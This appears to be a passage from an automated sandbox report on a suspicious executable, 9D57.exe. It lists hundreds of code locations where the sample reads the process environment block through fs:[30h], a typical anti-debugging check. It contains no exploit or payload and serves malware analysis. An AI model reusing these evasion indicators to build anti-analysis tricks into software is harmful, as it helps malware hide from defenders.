Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243591 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2795EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2495F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2495F0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F8DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2415C1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFDD3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262430 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262430 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244439 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC01 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC01 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC01 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC01 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318C14 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318C75 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26746D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC77 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC77 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC77 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC77 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D285C70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D319CB3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244CB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D4B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D241480 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24649B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24649B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24EC9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24EC9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3014FB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FD4E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242CDB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C707 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C707 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C707 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FDF1D mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FDF1D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274710 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246F60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246F60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E760 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E760 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CF6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CF6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24A745 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E746 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E746 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DF4C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2837F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243FC5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243FC5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243FC5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D7CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D7CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D280E21 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C63D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24A63B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24A63B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D2E14 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25766D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CE6C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CE6C mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273E70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FF674 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6652 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C46A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D2EA3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243E80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243E80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DE9E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DE9E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DE9E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2716E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2576E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283EE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283EE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283EE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2736CC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243138 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30E962 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318966 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24395E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24395E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F1B5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F1B5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2761A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2761A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C9BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C9BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov eax, dword ptr fs:[00000030h]
